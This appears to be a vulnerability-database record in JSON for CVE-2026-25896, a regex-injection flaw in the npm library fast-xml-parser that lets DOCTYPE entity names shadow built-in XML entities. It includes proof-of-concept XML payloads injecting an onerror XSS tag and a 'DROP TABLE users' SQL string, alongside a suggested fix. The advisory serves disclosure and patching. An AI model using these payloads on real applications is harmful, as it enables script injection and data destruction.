{"id":"CVE-2026-25896","aliases":["GHSA-m7jm-9gc2-mpf2"],"url":"https://o3.security/vulnerability/CVE-2026-25896","summary":"fast-xml-parser has an entity encoding bypass via regex injection in DOCTYPE entity names","details":"# Entity encoding bypass via regex injection in DOCTYPE entity names\n\n## Summary\n\nA dot (`.`) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (`&lt;`, `&gt;`, `&amp;`, `&quot;`, `&apos;`) with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.\n\n## Details\n\nThe fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed `.` (period), which is valid in XML names per the W3C spec.\n\nIn `DocTypeReader.js`, entity names are passed directly to `RegExp()`:\n\n```js\nentities[entityName] = {\n    regx: RegExp(`&${entityName};`, \"g\"),\n    val: val\n};\n```\n\nAn entity named `l.` produces the regex `/&l.;/g` where `.` matches **any character**, including the `t` in `&lt;`. Since DOCTYPE entities are replaced before built-in entities, this shadows `&lt;` entirely.\n\nThe same issue exists in `OrderedObjParser.js:81` (`addExternalEntities`), and in the v6 codebase - `EntitiesParser.js` has a `validateEntityName` function with a character blacklist, but `.` is not included:\n\n```js\n// v6 EntitiesParser.js line 96\nconst specialChar = \"!?\\\\/[]$%{}^&*()<>|+\";  // no dot\n```\n\n## Shadowing all 5 built-in entities\n\n| Entity name | Regex created | Shadows |\n|---|---|---|\n| `l.` | `/&l.;/g` | `&lt;` |\n| `g.` | `/&g.;/g` | `&gt;` |\n| `am.` | `/&am.;/g` | `&amp;` |\n| `quo.` | `/&quo.;/g` | `&quot;` |\n| `apo.` | `/&apo.;/g` | `&apos;` |\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\nconst xml = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n  <!ENTITY l. \"<img src=x onerror=alert(1)>\">\n]>\n<root>\n  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>\n</root>`;\n\nconst result = new XMLParser().parse(xml);\nconsole.log(result.root.text);\n// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>\n```\n\nNo special parser options needed - `processEntities: true` is the default.\n\nWhen an app renders `result.root.text` in a page (e.g. `innerHTML`, template interpolation, SSR), the injected `<img onerror>` fires.\n\n`&amp;` can be shadowed too:\n\n```js\nconst xml2 = `<?xml version=\"1.0\"?>\n<!DOCTYPE foo [\n  <!ENTITY am. \"'; DROP TABLE users;--\">\n]>\n<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;\n\nconst r = new XMLParser().parse(xml2);\nconsole.log(r.root);\n// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'\n```\n\n## Impact\n\nThis is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.\n\n- Default config, no special options\n- Attacker can replace any `&lt;` / `&gt;` / `&amp;` / `&quot;` / `&apos;` with arbitrary strings\n- Direct XSS vector when parsed XML content is rendered in a page\n- v5 and v6 both affected\n\n## Suggested fix\n\nEscape regex metacharacters before constructing the replacement regex:\n\n```js\nconst escaped = entityName.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\nentities[entityName] = {\n    regx: RegExp(`&${escaped};`, \"g\"),\n    val: val\n};\n```\n\nFor v6, add `.` to the blacklist in `validateEntityName`:\n\n```js\nconst specialChar = \"!?\\\\/[].{}^&*()<>|+\";\n```\n\n## Severity\n\n**CWE-185** (Incorrect Regular Expression)\n\n**CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N - 9.3 (CRITICAL)**\n\nEntity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.","published":"2026-02-20T20:57:48.074Z","modified":"2026-09-12T03:30:46.748281290Z","cvss":{"score":9.3,"severity":"CRITICAL","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N"},"epss":{"score":0.00462,"percentile":0.38891,"asOf":"2026-09-15"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"npm","name":"fast-xml-parser","fixedVersion":"5.3.5"},{"ecosystem":"npm","name":"fast-xml-parser","fixedVersion":"4.5.4"}],"fix":{"url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e","label":"NaturalIntelligence/fast-xml-parser@943ef0e"},"references":[{"type":"WEB","url":"https://github.com/NaturalIntelligence/fast-xml-parser/releases/tag/v5.3.5"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-25896.json"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:40984"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:41941"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:41944"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:51349"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6174"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:6802"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7110"},{"type":"ADVISORY","url":"https://access.redhat.com/errata/RHSA-2026:7128"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-25896"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/25xxx/CVE-2026-25896.json"},{"type":"ADVISORY","url":"https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-m7jm-9gc2-mpf2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-25896"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2441501"},{"type":"FIX","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/943ef0eb1b2d3284e72dd74f44a042ee9f07026e"},{"type":"FIX","url":"https://github.com/NaturalIntelligence/fast-xml-parser/commit/ddcd0acf26ddd682cb0dc15a2bd6aa3b96bb1e69"},{"type":"PACKAGE","url":"https://github.com/NaturalIntelligence/fast-xml-parser"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-12T03:30:46.748281290Z"}}